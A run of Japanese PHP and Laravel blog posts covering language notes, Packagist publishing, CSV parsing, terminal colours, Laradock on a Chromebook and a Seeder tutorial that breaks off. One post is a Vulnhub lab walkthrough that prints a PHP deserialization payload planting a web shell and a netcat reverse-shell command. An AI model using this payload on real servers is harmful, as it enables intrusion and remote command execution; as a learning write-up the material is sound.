- 投稿日:2021-03-14T23:43:08+09:00
PHPメモ
###変数の値を表示 var_dump(変数) ###文字列の中の数字を使った計算 $value = "2人"+ "3人"; $valueは【5】 ###文字のインク・デクリメント $str = "a"; $str++; $strは【b】 ###文字列の結合。連結は【+】ではなく【.】を使う $str = "a"."b"."c"; $strは【abc】 $num = 20; $value = $num . 77;数字も文字列になる。 $valueは【2077】 ###NULLだった場合の初期値を設定 $num = null; $value = ($num ?? 2); $valueは【2】 ###文字列と数値の比較 "99" == 99 は型を見ないのでtrue "99" === 99 は型も見るのでfalse ###treu falseのecho echo true; 【1】 echo false; 【】何も表示されないので注意 ###HTMLに適した条件分岐 <?php if(条件式): ?> HTMLコード <?php elseif(条件式): ?> HTMLコード <?php else : ?> HTMLコード <?php endif; ?> ###関数で引数の数が不明な場合 testFunction("名前","吉田","上田","野村"); //2番目以降の引数は$membersに配列で格納される function testFunc($name,...$members){ var_dump($members); } //引数を固定しない function testFunc(){//引数を指定しなくてよい $all = func_get_args(); //すべての引数を取得 $numSrgs = func_get_arg() //引数の個数を取得 } testFunc(10,20,30,40); ###static変数 static $count = 0; ローカルスコープのみ。関数を抜けても値はクリアされない。 ###配列の値を合計する array_sum(配列); ###変数込みの文字列の出力 $str = "変数"; echo "テスト{$str}文章です"; //変数を{}でくくる。 =>テスト変数文章です。 ###フォーマット文字列 符号指定子 +-を付ける printf('%+d',-10); => -10 printf('%+d',10); => +10 パディング指定子 指定の桁数を0で埋める(指定できるのは1文字だけ) //3桁の余りを0で埋める printf('番号は%03dです。',3); => 番号は003です。 //0以外の文字で埋める "で囲って、%の後に'を置く printf("番号%'*6d",4); => 番号*****4 //日付に使う printf('%04d-%02d-%02d,$year,$month,$day); => 1993-02-08 //小数点以下を指定する(繰り上げ) printf('%.2f',10.28438); =>10.28 printf('%.03f',10.2); =>10.200 //指定数の文字数で切る printf('%.5s ...',"TestName"); =>TestN ... //配列で指定 vprintf() $data = array($max,$min,$ave); $format = '最大値%.1f,最小値%.1f,平均値%.1f'; vprintf($format,$data); ###数値をカンマで区切る number_format(2000); =>2,000
- 投稿日:2021-03-14T22:07:28+09:00
【Vulnhub】/DEV/RANDOM: PIPEをやってみた
はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。そのためポートスキャンや権限昇格といった内容は省略しています。
klezVirusさんのブログを参考にしています。こっちの方が分かりやすいかもしれません。
https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/pipe//dev/random: Pipe
Pipeは、3つのPHPファイルで構成されているWebアプリです。
- サーバ名: /dev/random: Pipe
- リリース日: 2015年10月2日
- 作者: Sagi-
- リリーズ: /dev/randomソースコード検証
HTTPアクセスには、ベーシック認証が必要です。
しかし以下のとおり、HTTP Verb Tamperingで認証回避が可能となっています。AuthUserFile /var/www/html/.htpasswd AuthName "index.php" AuthType Basic <Limit GET PUT HEAD OPTIONS DELETE> require valid-user </Limit>index.phpでは、著者の情報を取得するために
Info
のインスタンスが生成され、POSTパラメータparam
でシリアライズされたオブジェクトと比較されます。
- HTTP POSTパラメータ
param
が値をチェックされずにunserialize()
されている。- index.php内に
import
が2種類ある。
- info.php
- log.php
index.php(一部省略)<?php include 'info.php'; include 'log.php'; $artist = new Info(); $artist->id = 1; $artist->firstname = 'Rene'; $artist->surname = 'Margitte'; $artist->details = '...'; ... if (isset($_POST['param'])) { $info = unserialize($_POST['param']); if (strcasecmp($info->firstname, $artist->firstname) == 0 && strcasecmp($info->surname, $artist->surname) == 0){ echo $artist->details; } } ... ?>info.phpは、メソッドを持たないクラスなのでlog.phpを参照します。
log.php<?php class Log { public $filename = ''; public $data = ''; public function __construct() { $this->filename = ''; $this->data = ''; } public function PrintLog() { $pre = "[LOG]"; $now = date('Y-m-d H:i:s'); $str = '$pre - $now - $this->data'; eval("\$str = \"$str\";"); echo $str; } public function __destruct() { file_put_contents($this->filename, $this->data, FILE_APPEND); } } ?>クラス内には、
filename
とdata
の2つの変数があります。
デシリアライズしたインスタンスが破棄されるとdata
の内容はfilename
に書きこまれます。
アプリケーションでクラスが定義されているので、デストラクタが攻撃に悪用できます。
- シリアライズされた
Log
のHTTP POSTがIndex.phpに送信される。- index.phpは、unserialize()を呼び出し、デシリアライズで
Log
のインスタンスを作成する。- index.phpの呼び出しが終了する。
Log
のインスタンスオブジェクトは呼び出しが終わると破棄される。- __destruct()
Exploitation
シリアライズされた
Info
のインスタンスを書き換えてバックドアを仕込みます。
まずペイロードを作成するgenerate.phpを作ります。generate.php<?php class Log { public $filename="/var/www/html/scriptz/shell.php"; public $data="<?php system(\$_GET['cmd']);?>"; } print(urlencode(serialize(new Log))."\n"); ?>generate.phpを実行します。
php generate.php生成されたパラメータをPOSTします。
curl -ksi -X POST 'http://pipe.local/index.php' --data-binary 'param=O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A24%3A%22%2Fvar%2Fwww%2Fhtml%2Fshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A29%3A%22%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D'リバースシェルを発動させます。
curl http://pipe.local/scriptz/shell.php?cmd=nc+-e+/bin/bash+MY_IP+4444まとめ
pipeは、安全でないデシリアライゼーションを理解する上で入門マシンといえそうです。
- 投稿日:2021-03-14T19:28:27+09:00
自作フレームワークをPackagistに公開する
はじめに
PHPで自作フレームワークを作成したので、この機会にPackagistに公開してComposerで取ってこれるようにしようと思いました。
初めての公開なので間違ってる部分が、あればご指摘を頂ければ幸いです。
公開するまでの流れを紹介していきます。
目次
- composer.jsonの作成
- ライセンスファイルの作成
- GitHubにpush
- Packagistに登録
- Composerで確認
- 最後に
- 参考文献
composer.jsonの作成
最初に、composer.jsonを自分が作成したプロジェクトのルートディレクトリに作成していきます。
{ "name": "fumiya5863/cherry-ti", "type": "project", "description": "The CherryTI Framework.", "homepage": "https://github.com/fumiya5863/CherryTI", "license": "MIT", "authors": [ { "name": "fumiya5863" } ], "require": { "illuminate/database": "^7.0", "vlucas/phpdotenv": "^5.0" }, "config": { "vendor-dir" : "./system/external" } }上記の内容がcomposer.jsonの設定です。keyの用語の意味は下記になります。
key 意味 name ベンダー名/プロジェクト名 type パッケージのタイプ (デフォルトはlibrary、今回はproject) description パッケージの簡単な説明 homepage プロジェクトのウェブサイトへのURL authors パッケージの作者 license パッケージのライセンス require このパッケージに必要なパッケージのマップ config 設定オプションのセット(どこにvendorフォルダをおくか) 今回は、composer.jsonのファイルを自分で作成して記入しましたが、対話形式からでも作成できます。
下記のコマンドを叩いてもらうと対話形式でcomposer.jsonが作成されます。composer init一通りの設定を記入した後に、バリデーションチェックをしましょう。
composer validateバリデーションチェックに通った場合は、
./composer.json is valid
と表示されます。次にライセンスファイルの作成をします。
ライセンスファイルの作成
今回、GitHubでMITライセンスを設定していたのでLICENSEファイルの中身の内容は下記になります。
MIT License Copyright (c) 2021 fumiyan Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.GitHubでのライセンス設定は、下記の記事を参考にさせて頂きました。
GitHubにpush
次に、フレームワークのバージョンを指定したいので下記のgitコマンドを叩きます。
git tag v1.0.0バージョンの指定が出来たので、次に下記のコマンドを叩きます。
git push origin v1.0.0これでリモート上にタグが反映されます。
次に、Packagistに登録して終了です。
Packagistに登録
Packagistに登録します。
登録が完了したら、次にフレームワークを登録します。
上記の画像のヘッダー部分にあるsubmitを押すと上記の画面が表示されます。
次に下記画像の
Repository URL
に自分のリポジトリのURLを記入して下さい。
実際に検索をすると検索にヒットして表示されます。
最後に、Composerで落とせてこれるか確認しましょう。
Composerで確認
下記のコマンドを叩いて頂くと落とせてこれます。
composer create-project fumiya5863/cherry-ti実際に、落とせることが出来ました!!
最後に
いかがだったでしょうか、自分が作成してみたライブラリやフレームワークなどを実際にあげてみることでこういった仕組みでいつも使っているライブラリやフレームワークを落とせてくるのかと分かると思います。皆さんも是非やってみて下さい。
他にも、GitHubにpushした時に、自動でPackagist側に通知を設定するとかもやっておいた方が楽になるかもしれません。自分が作成したフレームワークも触って頂けると幸いです(笑)
参考文献
http://vdeep.net/composer-packagist
The composer.json schema
https://qiita.com/shibukk/items/67ad0a5eda5a94e5c032
https://qiita.com/soyanchu/items/72095a7c9fdb7f71b2c3
- 投稿日:2021-03-14T19:05:25+09:00
PHP 関数スコープ ローカル、グローバル
PHPの関数スコープについての基本
例)
<?php $a =10; $n = 100; <?php $a = 10; $n = 100; function change() { print $GLOBALS['a'] . "\n"; $GLOBALS['a'] = 25; } change(); //10 print $a . "\n"; //25 function change2() { $n = 10; } change2(); print $n . "\n"; //100 function change3() { global $n; $n = 15; } change3(); print $n . "\n";//15グローバル関数の指定には2種類ある
①
$GLOBALS['a'];
②global $n;
①について
$GLOBALS['a'];
は関数内からグローバルスコープへのアクセスが可能になる。
'a'
の部分に変数の$
を除いた値を入れると使用可能(今回は$a
の為'a'
)
$GLOBALS['a'] = 'hoge';
のように値を変更できる②について
global $n
$n = 'hoge';
とすることで変更可能に
- 投稿日:2021-03-14T18:50:43+09:00
セル内に改行があるCSVをPHPで処理する方法
fopen でファイルを読み込んで、CSV処理を書いていると、
CSVのセル内に改行があり、ハマったのでメモfopen で書いていたがセル内の改行がうまく取得できない
$file = "test.csv"; $fp = fopen($file, "r"); while($line = fgets($fp)) { $data = explode(",", $line); //DB保存など } fclose($fp);このような感じでコードを書いていたが、
CSVのセル内に改行があると、うまくデータが取得できない解決方法
SplFileObject クラスを書けば、うまいこと取得してくれた
$file = new SplFileObject($file); $file->setFlags( \SplFileObject::READ_CSV | \SplFileObject::READ_AHEAD | \SplFileObject::SKIP_EMPTY | \SplFileObject::DROP_NEW_LINE ); foreach ($file as $data) { error_log(print_r($data, true)); //1行ずつ配列として取得できる }超ラク
- 投稿日:2021-03-14T17:27:43+09:00
生のPHPとLaravelの、二通りの類似ポートフォリオを作った話
はじめに
こんにちは、おーもとと申します。エンジニアに転職をするため学習している初学者です。
私は車が好きで、「近年の若者の車離れ」という問題にフォーカスしたアプリを制作しようと思いました。制作背景
若者が車を持たない理由には様々な理由があると思いますが、
「欲しいと思えるほど魅力を感じる車に出会っていないからなのでは?」
と思い、
・かわいいやかっこいいというスタイル
・大きさ
・国産か外車か
・アウトドアや街乗りという用途
これらの項目に当てはまる車を、結果として表示するアプリを制作することにしました。
(これらの特徴は全て私が定めているため、投票などにより特徴を決める機能をつけたいです)11月 PHPでアプリ開発
10月からPHPの学習を始めていたので、そのアプリはPHPで制作しました。
カーセンサーAPIを使用して、車の情報を取得します。
解説動画:https://www.youtube.com/watch?v=ZXbgUtjxKM8
機能
ユーザー登録関連
⚪︎ ログイン
⚪︎ ログアウト
⚪︎ 新規登録
⚪︎ ユーザー件数を表示車の検索機能
⚪︎ 車の見た目→「かわいい」「かっこいい」「シンプル」「おしゃれ」「レトロ」
⚪︎ 車のサイズ→「ふつう」「すごくおおきい」「おおきい」「ちいさい」
⚪︎ 車の製造国→「国産車」「外車」
⚪︎ 車の用途 →「街乗り」「アウトドア」「スポーツ」カーセンサーAPI連携
⚪︎ DBにある車情報と合致した車情報を取得
⚪︎ cronでキャッシュファイル自動生成苦労した点
検索結果の画像表示高速化
検索の度にAPIからデータを取得していたので、電波の悪い場所では結果の表示に1分以上かかっていました。
毎日APIからデータを自動取得しキャッシュ化することで、ユーザーにストレスのない速度で結果を表示させることができました。EC2へデプロイ
公式ドキュメントを参考にしデプロイしました。
その際、インフラの知識が不足していたため、デプロイに一週間以上かかりました。APIのサービス終了!!
転職活動を始めようとした際、一週間後にカーセンサーAPIサービスが終了すると知りました。
急いで提供元へ問い合わせたところ、
「完全に提供が終了すること」「24時間以上のキャッシュデータの保有も禁止」、ということを告げられました。
その後、他の車データAPIの提供元を調べましたが他にありませんでした。
画像だけでもどうにかならないかと思い、ト◯タや◯産などの画像利用規約を確認しましたが、
営利目的ではない&提供元のURLなどの情報を記載する
としても、利用は禁止でした。
そのためLaravelの勉強も兼ねて、画像問題を解決できるアプリの制作に取り掛かりました。1月 Laravelでアプリ開発
12月末からLaravelの学習を始め、1月からアプリの制作に取り掛かりました。
前回のPHPで制作したポートフォリオとの違い
画像の取得にAPIを用いていましたが、ユーザーから愛車の画像を提供してもらう方針に変更し、機能の追加などを行いました。
完成
アプリのURL:https://pf-kurushira.com
(スマホサイズにも対応しています)
使用技術
使用言語
⚪︎ HTML
⚪︎ CSS
⚪︎ SCSS
⚪︎ PHP 7.4.14
⚪︎ Laravel 6.20.11インフラ
⚪︎ Github Actions 自動デプロイ
⚪︎ Docker 20.10.2 / docker-compose 1.27.4
⚪︎ nginx 1.18
⚪︎ mysql 5.7.31 / PHPMyAdmin
⚪︎ AWS ( EC2, ALB, ACM, S3, RDS, Route53, VPC, EIP, IAM)インフラ構成図
機能一覧
機能 概要 ユーザー管理機能 新規登録・ログイン・ログアウトができます 簡単ログイン機能 ログイン画面のゲストログインをクリックすることで、ゲストユーザーとしてログインできます おすすめ車種検索機能 条件を選択すると、それにあった車種一覧を表示します 検索履歴機能 直近の検索履歴・結果を表示します 画像提供機能 ユーザーの所有している車の画像を提供できます 提供した画像の削除機能 提供した画像を削除できます 提供画像一覧表示機能 自身が提供した画像一覧を表示します。 ユーザー情報編集機能 ご登録いただいたユーザー名・メールアドレスを変更できます Twitterシェア機能 車の検索結果をツイートすることができます レスポンシブ機能 スマホサイズ(320~540px)にも対応しています DB設計
各テーブルについて
テーブル名 説明 users 登録ユーザー情報 cars 登録車情報 histories 直近の検索結果の情報 car_images 提供画像の情報 苦労した点
ユーザー情報編集ページのバリデーション
LaravelのAuth機能のバリデーションを使いまわそうとしましたが、ブラックボックスになっていて苦労しました。
→新しくバリデーションを作成。S3からオブジェクト削除
画像の削除機能でDBからだけでなく、S3からもオブジェクトを削除する必要があり苦労しました。
→解決方法を記事にしました
laravel6でS3に画像アップロード&削除今後の課題
機能
機能 概要 英訳機能 Google Cloud Translation APIを利用して翻訳 通報機能 ユーザーの投票で不適切な画像を削除 技術
⚪︎ テスト
⚪︎ Dockerを用いた本番環境の構築
⚪︎ ECSへデプロイ参考にした学習教材など
PHP/Laravel
・【Udemy】PHP+MySQL(MariaDB) Webサーバーサイドプログラミング入門
・【書籍】詳細!PHP 7+MySQL 入門ノート
・【書籍】PHPフレームワークLaravel入門 第2版
・【書籍】PHPフレームワーク Laravel実践開発
・Laravel6.0(PHP7.3)+MySQL+Laradockで簡易的なECサイトを作るAWS
・【Udemy】AWS:ゼロから実践するAmazon Web Services。手を動かしながらインフラの基礎を習得
Docker
・【超入門】20分でLaravel開発環境を爆速構築するDockerハンズオン
さいごに
生のPHPでひとつPFを制作したのは、基礎力が身についたので良かったと思います。
今回ポートフォリオ完成を優先したため、ECSではなくEC2へデプロイしました。
まだ課題も多いですが、ブラッシュアップしていきたく思っています。
長くなりましたが、ここまで読んでくださりありがとうございました!!
- 投稿日:2021-03-14T16:11:45+09:00
エスケープシーケンスでターミナルにカラー表示するチートシート
こんなふうにテキストに色や下線を付けてターミナルで表示させるには、
Rubyなら
\e[...m
でputs("ABC\e[4;31;44mDEF\e[0mGHI") puts("ABC\e[38;5;45mDEF\e[0mGHI")Perlなら
\e[...m
でprint "ABC\e[4;31;44mDEF\e[0mGHI\n"; print "ABC\e[38;5;45mDEF\e[0mGHI\n";PHPなら
\e[...m
でprint("ABC\e[4;31;44mDEF\e[0mGHI\n"); print("ABC\e[38;5;45mDEF\e[0mGHI\n");Bashなら
\e[...m
でecho -e "ABC\e[4;31;44mDEF\e[0mGHI" echo -e "ABC\e[38;5;45mDEF\e[0mGHI"Pythonなら
\x1b[...m
でprint("ABC\x1b[4;31;44mDEF\x1b[0mGHI"); print("ABC\x1b[38;5;45mDEF\x1b[0mGHI")Node.jsなら
\x1b[...m
でconsole.log("ABC\x1b[4;31;44mDEF\x1b[0mGHI"); console.log("ABC\x1b[38;5;45mDEF\x1b[0mGHI");Scalaなら
\u001b[...m
でprintln("ABC\u001b[4;31;44mDEF\u001b[0mGHI"); println("ABC\u001b[38;5;45mDEF\u001b[0mGHI");Javaなら
\033[...m
または\u001b[...m
でSystem.out.println("ABC\033[4;31;44mDEF\033[0mGHI"); System.out.println("ABC\033[38;5;45mDEF\033[0mGHI");
[
とm
の間の数字が色や装飾を表すパラメータです。パラメータが複数の場合はセミコロンで区切ります。上記サンプルであれば4は下線、31は赤文字、44は青背景、0はリセットです。
\e[4;31;44m
は\e[4m\e[31m\e[44m
としても同じです。38と48は、セミコロン区切りで続くパラメータが必須で、詳細な色を指定できます。
装飾
パラメータ 効果 Windows Terminal Windows Tera Term Mac Terminal 1 太字(Bold) ○ △ ○ 2 細字(Faint, light font weight) ○ × ○ 3 斜体(Italic) △ △ △ 4 下線(Underline) ○ ○ ○ 5 点滅(Blink) ○ △ ○ 6 速い点滅(Rapid blink) × × × 7 背景色と文字色を入れ替える ○ ○ ○ 8 文字を隠す(Conceal) ○ × ○ 9 取り消し線(Strike) ○ × × ○:対応していそう
△:エスケープシーケンスに反応して変化はしているが、思ってたのとちがう
×:非対応8の文字を隠す効果は、対応している端末では、文字は見えませんが、マウスで選択すると文字が現れ、テキストをコピーできます。tmuxでもテキストをコピーできます。
Windows Terminal
WindowsのTera Term
MacのTerminal
色
色 標準の8色 明るい8色 256色 RGB 文字色 30~37 90~97 38;5;n 38;2;r;g;b 背景色 40~47 100~107 48;5;n 48;2;r;g;b 8色は下1桁で次の色を表します。
0 1 2 3 4 5 6 7 黒 赤 緑 黄 青 紫 水 白 256色のnは0~255の範囲で指定します。nを0~7にすると標準の8色と同じ色で、8~15にすると明るい8色と同じ色になります。
RGBのr, g, bの箇所も0~255の範囲で指定します。
WindowsのTera Termでは8色までしか対応していないようです。Windows TerminalとMacのTerminalは、256色もRGB指定も機能するようです。
Windows Terminal
WindowsのTera Term
MacのTerminal
リセット
パラメータ 効果 0 リセット 色や装飾の指定をすべて解除します。
この0は省略できます。Rubyなら
\e[m
でリセットになります。サンプルコード
この記事の装飾と色のサンプル出力に使ったコードは以下です。Rubyです。
puts() def showcase1(str, text) "\e[#{str}m\\e[#{str}m#{text}\e[0m " end def showcase2(str) "\e[#{str}m\\e[#{str}m" + (" " * (8 - str.length)) + "\e[0m " end def showcase3(str, text) "\e[#{str}m#{text}\e[0m" end line = " " (1..9).each do |i| line += showcase1("#{i}", "いろは") end puts(line) puts() line1 = " " line2 = " " (0..7).each do |i| line1 += showcase2("#{30+i}") line2 += showcase2("#{40+i}") end puts(line1) puts(line2) line1 = " " line2 = " " (0..7).each do |i| line1 += showcase2("#{90+i}") line2 += showcase2("#{100+i}") end puts(line1) puts(line2) puts() (0..256).each do |i| if i % 8 == 0 line1 = " " line2 = " " end line1 += showcase2("38;5;#{i}") line2 += showcase2("48;5;#{i}") if i % 8 == 7 puts(line1) puts(line2) end end puts() (0..256).each do |i| if i % 64 == 0 line1 = " " end line1 += showcase3("48;2;0;255;#{i}", " ") if i % 64 == 63 puts(line1) end end puts()※エスケープシーケンスは、ほかにもカーソル移動や画面のクリアなどもできますが、本稿では色やテキストの装飾にとどめておきます。
- 投稿日:2021-03-14T11:51:45+09:00
Crostini+Laradockで、ChromebookのLaravel開発環境
ChromebookでPHP開発環境を作ります
Chrome OSのLinux環境(Crostini)を使います
PHPフレームワークLaravelの開発をお手軽にしてくれるLaradockをインストールして動かします。
「Laradockは、Docker用の完全なPHP開発環境(公式サイトより)」Crostiniの基本的な環境構築
- 日本語化
- npm などのインストール
- Docker、Docker Compose のインストール
などはたくさん有益でわかりやすいな情報があるので、それぞれ参考にしてください。(参考になったサイトを下の方にまとめました)
Laradockのインストール
Laradock公式サイト
公式サイトで丁寧に解説してくれているので、この通りでインストールできます。適当な場所にて
ターミナルgit clone https://github.com/Laradock/laradock.git環境ファイルを作成(いったんそのまま)
ターミナルcp env-example .env
起動
ターミナルdocker-compose up -d nginx mysql phpmyadmin redis workspace
起動時にエラーになった場合
自分は初回の起動時に「worksspaceのSSHポートが使われている」という感じのエラーがでましたので、ポートの指定を変更して回避しました。laradock/.env# WORKSPACE_SSH_PORT=22 WORKSPACE_SSH_PORT=50022初回は結構長い時間かかりますが、これで起動までできるはず。
起動ご確認
デフォルトだとlaradockディレクトリと同じ階層の
public
が公開ディレクトリになっているので
以下のようなpublic/index.html
を適当な内容で保存する∟ laradock/ ∟ public/ ∟ index.htmlChrome OS 側の Chromeブラウザから
penguin.linux.test
のURLにアクセスして、index.htmlの内容が表示されれば成功。
penguin.linux.test
は Crostiniに割り振られたアドレスになります。Laravelのインストール
立ち上げたLaradockの中でLaravelをインストールします。
基本は公式の通りhttps://laravel.com/docs/8.x/installation
https://readouble.com/laravel/8.x/ja/installation.htmlLaradockのコンテナ内でインストールするときなどに
docker-compose exec
コマンドでコンテナに接続する必要があるのですがターミナルdocker-compose exec --user=laradock workspace bashというようににユーザーを指定する必要があります。
--user
オプションを指定しないで接続すると、コンテナ内部から作成したファイルの所有者がroot
になってしまい編集できなくなってしまいます。
普段はmacOSなどでやっていると、ここらへん無頓着になっていて、ハマってしまいました。。ユーザー名は、laradock を指定してあげれば、自分のユーザーが割り当てられて、ファイルなども自ユーザー所有として作成されます。とても便利です。
あとは、自分の使いたいバージョンをドキュメントにそってインストールするだけです。
ターミナル(コンテナ内)composer global require laravel/installer laravel new example-appLaradockで複数プロジェクトを管理
https://laradock.io/getting-started/
Setup for Multiple Projects:
の項目にあるように、Laradockで複数のプロジェクトを立ち上げて開発することができます。ただし、Chromebookでは、
/etc/hosts
の編集ができないため少し工夫が必要です。詳しい手順は公式で見ていただくとして、大事な部分のみ。
Laradockでは、複数プロジェクトを管理するときは以下のような構成になります。ターミナル∟ laradock ∟ project1 ∟ public ∟ laravelの各種ファイル ∟ project2 ∟ public ∟ laravelの各種ファイルこのようにファイルを配置したら
あとはnginx
で振り分けます。ターミナルcd laradock/nginx/sites cp laravel.app.example project1.conf cp laravel.app.example project2.conf設定ファイルをプロジェクトごとに設定
project1.conf#server_name laravel.test; server_name project1.test; #root /var/www/laravel/public; root /var/www/project1/public;****.conf#server_name laravel.test; server_name ****.test; #root /var/www/laravel/public; root /var/www/****/public;こんな感じで設定したら、本来は
/etc/hosts
を書き換えるだけ。。なんだけど、残念ながら Chrome OS はhostsの書き換えができない。
(デベロッパーモードにしたりすればできるらしいんだけど、そこまではしたくない)というわけで、どうしようか色々調べたところ Crostiniに簡易DNSサーバーを立ててしまう。という解決方法を見つけた。
ちょっと大変そうだけど興味もあったのでチャレンジしてみました。Crostini で簡易DNSサーバを立てる
基本的にこちらを参考
とても詳しく書いてあり、とても勉強になりました。
https://qiita.com/arakaki_tokyo/items/c17e07220b8f7c465564Dnsmasq のインストール
Dnsmasqはお手軽DNSサーバとして情報も多くちょうどよい感じのようです。まずはインストール
ターミナルsudo apt-get install dnsmasq次に設定をします。
上記の参考サイトのをまるっと参考にさせていただきました。/etc/dnsmasq.conflisten-address=[CrostiniのIPアドレス] interface=eth0 log-queries log-facility=/var/log/dnsmasq.log port=53 no-resolv address=/test/[CrostiniのIPアドレス]これで、
**.test
というドメインを全部Crostiniに向けます。ちなみにCrostini のIPアドレスの確認方法
ターミナルip addr showeth0のあたりです。
参考)
https://stackoverflow.com/questions/53215483/how-do-i-find-out-the-ip-address-of-my-crostini-containerDNSサーバの起動
ターミナル# 起動 sudo systemctl start dnsmasq # 毎回自動的に起動するように設定 sudo systemctl enable dnsmasqで、DNS立ち上げたら、あとはChromeブラウザからURLを見に行くときにCrostiniのDNSを見に行くようにします。
エラーが出た人は下の対処方法を参考に。DNSサーバのポート問題でエラー
自分の場合はここで、Dnsmasqを立ち上げるときに、53番ポートが使われているよ。的なエラーがでてしまいました。
解決方法
systemd-resolvedのstub listenerというのがおなじく53番ポート使っていて被ってしまっているようだったので、それを無効にするオプションを設定/etc/systemd/resolved.conf[Resolve] DNSStubListener=udpこれで、全部再起動
ターミナルsudo systemctl restart systemd-resolved sudo systemctl restart dnsmasqで、なんとか動きました。
この部分は、ほんとうに手探りなのでした。
この方法だとまずいとか、もっといい方法あるとかあれば教えて下さい。Chrome OS にネームサーバの設定
- Chrome OS の設定画面 → ネットワーク → Wi-Fi
- 今接続しているWi-FiのSSIDを開く
- 設定項目が表示されるのでネットワークを開く
- [ネームサーバー]の欄を見る → 多くの人が自動ネームサーバーになっていてそこに現在のネームサーバーが表示されている
- カスタムネームサーバーを選択
- 一番上をCrostiniのIPアドレス、2番めを自動ネームサーバーに表示されていたIPアドレスに設定
これで、Laradockからさきほど設定した
project1.test
などのtestu用ドメインをChromeブラウザで開く。
project1/public/
内に保存した内容が表示されれば成功です。以上で、Chromebook上のLaradockで複数プロジェクトを管理できるようになりました。
動かすまでの流れと詰まったポイントをざっくり書きました。抜けなどあるかもしれません。
こまかな設定などはそれぞれの公式サイトや他の皆さんの記事を参考にしてください。ありがとうございました。
さいごに
自分の場合は、PHPを使うときって地元(地方都市です)で、ちょっとしたウェブ周りの機能やWordPressのカスタマイズなどを依頼されたときが多くて、いつも持ち運べるChromebookで打ち合わせの合間とか空いた時間にちょこっとコードかけるスタイルが、PHPととてもあっているように思ってLaradockインストールしてみました。
まだ、とりあえず立ち上げたという段階ですが、いろいろ使ってみたいと思います。参考
Crositni日本語化
Dockerインストール
必要な言語のインストール
DNSサーバー関連
dnsmasqとsystemd-resolved のエラー解決関連
- resolved: add an option to disable the stub resolver
- Ubuntu 18.04 の systemd-resolved で local DNS stub listener の利用をやめる
- https://kernhack.hatenablog.com/entry/2015/05/05/133203
- https://www.it-swarm.jp.net/ja/systemd/dnsmasq%E3%81%A8systemdresolved%E3%81%AE%E9%96%93%E3%81%AE%E7%AB%B6%E5%90%88%E3%82%92%E5%9B%9E%E9%81%BF%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95%E3%81%AF%EF%BC%9F/962510074/
- 投稿日:2021-03-14T11:16:08+09:00
Laravelのデフォルトのメーラーを取得する
概要
config/mail.php
で設定したメーラーにアクセスします。環境
Laravel 7.x, 8.x で動作確認しています。
取得方法
app('mailer');または
app('mail.manager')->driver();または
app('mail.manager')->mailer();どれも
Illuminate\Mail\Mailer
を返します。
また、デフォルト以外のメーラーは
driver('ses')
のように引数を与えると取得できます。mail.manager について
app('mail.manager')
はIlluminate\Mail\MailManager
を返します。
資料
- 投稿日:2021-03-14T01:08:55+09:00
laravel Seeder(シーダー)を使ってみる
目的
- laravelでSeeder(シーダー)を使う方法をまとめる。
環境
- ハードウェア環境
項目 情報 OS macOS Catalina(10.15.5) ハードウェア MacBook Pro (13-inch, 2020, Four Thunderbolt 3 ports) プロセッサ 2 GHz クアッドコアIntel Core i5 メモリ 32 GB 3733 MHz LPDDR4 グラフィックス Intel Iris Plus Graphics 1536 MB
- ソフトウェア環境
項目 情報 備考 PHP バージョン 7.4.8 Homebrewを用いてこちらの方法で導入→Mac HomebrewでPHPをインストールする Laravel バージョン 8.X commposerを用いてこちらの方法で導入→Mac Laravelの環境構築を行う MySQLバージョン 8.0.19 for osx10.13 on x86_64 Homwbrewを用いてこちらの方法で導入→Mac HomebrewでMySQLをインストールする Node.jsバージョン v12.14.1 Homwbrewを用いてこちらの方法で導入→Mac HomebrewでNode.jsをインストールする 情報
limitsというテーブルが存在し、下記のようなカラムの設定になっているとする。
mysql> show full columns from limits; +------------+-----------------+--------------------+------+-----+---------+----------------+---------------------------------+---------+ | Field | Type | Collation | Null | Key | Default | Extra | Privileges | Comment | +------------+-----------------+--------------------+------+-----+---------+----------------+---------------------------------+---------+ | id | bigint unsigned | NULL | NO | PRI | NULL | auto_increment | select,insert,update,references | | | name | varchar(255) | utf8mb4_unicode_ci | NO | | NULL | | select,insert,update,references | 期限 | | created_at | timestamp | NULL | YES | | NULL | | select,insert,update,references | | | updated_at | timestamp | NULL | YES | | NULL | | select,insert,update,references | | | deleted_at | timestamp | NULL | YES | | NULL | | select,insert,update,references | | +------------+-----------------+--------------------+------+-----+---------+----------------+---------------------------------+---------+limitsテーブルのnameカラムが「今日中」「明日中」「今週中」「今月中」「未定」となるレコードを追加したいとする。
今回の方法で紹介するコマンドは特筆しない限り前のコマンドと同じディレクトリで実行するものとする。
方法
アプリ名ディレクトリで下記コマンドを実行してSeederのファイルを作成する。
$ php artisan make:seeder LimitTableSeeder下記コマンドを実行して作成したSeederファイルを開く。
$ vi database/seeders/LimitTableSeeder.php開いたSeederファイルを下記のように修正する。
